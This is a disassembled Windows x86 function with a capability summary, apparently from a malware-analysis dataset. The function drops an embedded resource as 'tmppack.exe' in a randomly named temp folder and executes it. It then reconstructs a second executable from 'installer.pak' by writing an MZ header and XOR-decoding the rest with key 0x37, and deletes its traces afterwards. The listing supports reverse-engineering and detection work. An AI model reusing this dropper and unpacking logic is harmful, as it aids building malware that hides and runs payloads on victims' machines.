Function at 0x410e8f
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Delete directory
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4091fc
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
cmp eax, edi
jne 0x410f41
sub esp, 0xc
mov esi, esp
mov dword [ebp - 0x104], esp
push 0x24
mov dword [ebp - 0xf0], esi
mov dword [esi + 4], edi
call fcn.0040e726
add esp, 4
cmp eax, edi
je 0x410f04
mov dword [esi], eax
mov dword [eax], eax
mov esi, dword [esi]
mov dword [esi + 4], esi
mov dword [ebp - 4], 2
mov dword [ebp - 4], 0xffffffff
call fcn.004122f3
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xec], edi
call fcn.00417d79
mov dword [ebp - 4], edi
mov dword [ebp - method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
mov dword [ebp - 4], 0xffffffff
push 0x41ed3c
lea ecx, [ebp - 0x100]
push ecx
call fcn.00410a04
mov dword [ebp - 0xe8], edi
mov dword [ebp - 0xe4], edi
mov dword [ebp - 0xe0], edi
mov dword [ebp - 4], 3
movzx edx, ax
push 0xa
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x4110a2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
cmp ebx, edi
je 0x4110a2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x4110a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
cmp esi, edi
je 0x4110a2
push ebx
lea ecx, [ebp - 0xe8]
call fcn.004042bf
mov eax, dword [ebp - 0xe8]
push ebx
push esi
push eax
call fcn.0041080e
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xe8]
add esp, 0xc
push eax
push ecx
push edx
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x64], 0
call fcn.004072da
mov esi, 7
mov byte [ebp - 4], 7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004187e6
xor eax, eax
add esp, 4
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], edi
mov word [ebp - 0x80], ax
mov byte [ebp - 4], 8
xor ecx, ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], cx
mov byte [ebp - 4], 9
xor edx, edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], dx
mov byte [ebp - 4], 0xa
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0xd8], edi
call fcn.004146cd
and eax, 0x80000007
jns 0x411051
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
je 0x411080
mov esi, eax
lea esp, [esp]
call fcn.004146cd
cdq
mov ecx, 0x19
idiv ecx
lea ecx, [ebp - 0x80]
add edx, 0x41
movzx eax, dx
push eax
push 1
call fcn.0040fec9
dec esi
jne 0x41105f
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x48]
cmp eax, 0x104
jb 0x411115
push 0xffffffffffffffff
push 0x104
call fcn.00414308
jmp 0x411123
sub esp, 0xc
mov esi, esp
mov dword [ebp - 0xf0], esp
push 0x24
mov dword [ebp - 0x104], esi
mov dword [esi + 4], edi
call fcn.0040e726
add esp, 4
cmp eax, edi
je 0x4110da
mov dword [esi], eax
mov dword [eax], eax
mov esi, dword [esi]
mov dword [esi + 4], esi
mov byte [ebp - 4], 6
mov byte [ebp - 4], 3
call fcn.004122f3
lea ecx, [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xec], edi
call fcn.00417d79
mov byte [ebp - 4], 4
mov dword [ebp - method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
mov byte [ebp - 4], 3
push 0x41ed3c
lea edx, [ebp - 0x100]
push edx
call fcn.00410a04
mov edx, 0x104
push edi
sub edx, eax
push edx
call fcn.0040fec9
mov eax, dword [ebp - 0x48]
mov esi, 8
cmp dword [ebp - 0x34], esi
jae 0x411133
lea eax, [ebp - 0x48]
push eax
push 0x104
call ebx
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xd8], eax
cmp eax, ecx
ja 0x411155
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x48]
call fcn.00414308
jmp 0x411161
sub eax, ecx
push edi
push eax
lea ecx, [ebp - 0x48]
call fcn.0040fec9
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040fdb9
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x34], esi
jae 0x41117b
lea eax, [ebp - 0x48]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 0xb7
je 0x411040
push str._tmppack.exe
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x9c]
push edx
call fcn.0040a6ea
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x2c]
cmp eax, esi
je 0x411212
cmp dword [ebp - 0x18], 8
jb 0x4111c5
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.0040e16b
add esp, 4
xor edx, edx
mov ebx, 7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], dx
cmp dword [esi + 0x14], 8
jae 0x4111f2
mov eax, dword [esi + 0x10]
inc eax
add eax, eax
push eax
lea ecx, [ebp - 0x2c]
push esi
push ecx
call fcn.0041754c
add esp, 0xc
jmp 0x4111f9
mov edx, dword [esi]
mov dword [ebp - 0x2c], edx
mov dword [esi], edi
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [esi + 0x14]
mov dword [ebp - 0x18], ecx
xor edx, edx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x10], edi
mov word [esi], dx
jmp 0x411217
mov ebx, 7
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x88], 8
jb 0x411233
mov eax, dword [ebp - 0x9c]
push eax
call fcn.0040e16b
add esp, 4
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x8c], edi
mov word [ebp - 0x9c], cx
jae 0x411254
lea eax, [ebp - 0x2c]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x4112eb
mov byte [ebp - 4], 9
mov esi, 8
cmp dword [ebp - 0x18], esi
jb 0x411286
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0040e16b
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 8
cmp dword [ebp - 0x34], esi
jb 0x4112a7
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.0040e16b
add esp, 4
xor edx, edx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], dx
mov byte [ebp - 4], 7
cmp dword [ebp - 0x6c], esi
jb 0x4112c8
mov eax, dword [ebp - 0x80]
push eax
call fcn.0040e16b
add esp, 4
mov dword [ebp - 0x6c], ebx
xor ecx, ecx
mov dword [ebp - 0x70], edi
mov word [ebp - 0x80], cx
mov byte [ebp - 4], 3
cmp dword [ebp - 0x50], 0x10
jb 0x4116df
mov edx, dword [ebp - 0x64]
push edx
jmp 0x4116d7
mov dword [ebp - 0xf4], edi
call fcn.00404e51
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x411302
lea eax, [ebp - 0x64]
mov edx, dword [ebp - 0x54]
push edi
lea ecx, [ebp - 0xf4]
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
je 0x411332
mov byte [ebp - 4], 9
mov ebx, 8
jmp 0x411666
push 0x40
lea ecx, [ebp - 0x154]
push edi
push ecx
call fcn.004145dc
xor eax, eax
xor edx, edx
add esp, 0xc
mov dword [ebp - 0x158], 0x44
mov word [ebp - 0x128], dx
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
call fcn.004071ed
mov ecx, dword [ebp - 0x48]
mov eax, 8
cmp dword [ebp - 0x34], eax
jae 0x411390
lea ecx, [ebp - 0x48]
cmp dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
jae 0x41139b
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x114]
push edx
lea edx, [ebp - 0x158]
push edx
push ecx
push 0
push 0x8000010
push 0
push 0
push 0
push 0x41b430
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x48
call esi
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
push 0
push 1
call ebx
push 0x44
call esi
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
call esi
push eax
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [ebp - 0x114]
push 0x1d4c0
push eax
call edi
push str.ins
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0xb8]
push edx
call fcn.0040a6ea
mov byte [ebp - 4], 0xc
push 0x41b41c
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.0040ea81
mov bl, 0xd
mov byte [ebp - 4], bl
push str.ler.pak
push eax
lea ecx, [ebp - 0x9c]
push ecx
call fcn.0040ea81
add esp, 0x24
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x2c]
call fcn.00418ae2
mov byte [ebp - 4], bl
cmp dword [ebp - 0x88], 8
jb 0x4114a4
mov edx, dword [ebp - 0x9c]
push edx
call fcn.0040e16b
add esp, 4
mov esi, 7
xor edi, edi
xor eax, eax
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], edi
mov word [ebp - 0x9c], ax
mov byte [ebp - 4], 0xc
mov ebx, 8
cmp dword [ebp - 0xc0], ebx
jb 0x4114e0
mov ecx, dword [ebp - 0xd4]
push ecx
call fcn.0040e16b
add esp, 4
xor edx, edx
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc4], edi
mov word [ebp - 0xd4], dx
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0xa4], ebx
jb 0x411510
mov eax, dword [ebp - 0xb8]
push eax
call fcn.0040e16b
add esp, 4
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov word [ebp - 0xb8], cx
cmp dword [ebp - 0x18], ebx
jae 0x411530
lea eax, [ebp - 0x2c]
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4115ac
mov byte [ebp - 4], 9
cmp dword [ebp - 0x18], ebx
jb 0x41155e
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0040e16b
add esp, 4
mov esi, 7
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], bl
cmp dword [ebp - 0x34], ebx
jb 0x411583
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.0040e16b
add esp, 4
xor edx, edx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], dx
mov byte [ebp - 4], 7
cmp dword [ebp - 0x6c], ebx
jb 0x4115a4
mov eax, dword [ebp - 0x80]
push eax
call fcn.0040e16b
add esp, 4
mov dword [ebp - 0x6c], esi
jmp 0x4112cb
mov eax, dword [ebp - 0x54]
lea eax, [eax + eax*4]
push eax
mov ecx, 0x423b88
call fcn.004042bf
mov ecx, dword [0x423b88]
mov byte [ecx], 0x4d
mov edx, dword [0x423b88]
push 0x7b84
mov byte [edx + 1], 0x5a
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push edi
push edi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ecx, dword [0x423b8c]
push edi
lea eax, [ebp - 0xd8]
push eax
mov eax, dword [0x423b88]
sub ecx, eax
sub ecx, 2
push ecx
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jae 0x411617
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xd8]
push edx
mov ecx, 0x423b88
call fcn.004042bf
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x34], ebx
jae 0x41163a
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov eax, 2
cmp dword [ebp - 0xd8], eax
jbe 0x411662
nop
mov ecx, dword [0x423b88]
xor byte [eax + ecx], 0x37
inc eax
cmp eax, dword [ebp - 0xd8]
jb 0x41164f
mov byte [ebp - 4], 9
cmp dword [ebp - 0x18], ebx
jb 0x411677
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040e16b
add esp, 4
mov esi, 7
xor ecx, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], cx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x34], ebx
jb 0x41169c
mov edx, dword [ebp - 0x48]
push edx
call fcn.0040e16b
add esp, 4
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], ax
mov byte [ebp - 4], 7
cmp dword [ebp - 0x6c], ebx
jb 0x4116bd
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.0040e16b
add esp, 4
xor edx, edx
mov word [ebp - 0x80], dx
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], esi
mov byte [ebp - 4], 3
cmp dword [ebp - 0x50], 0x10
jb 0x4116df
mov eax, dword [ebp - 0x64]
push eax
call fcn.0040e16b
add esp, 4
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x64], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xe8]
cmp eax, edi
je 0x411707
push eax
call fcn.0040e16b
add esp, 4
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xe4], edi
mov dword [ebp - 0xe8], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e15c
mov esp, ebp
pop ebp
ret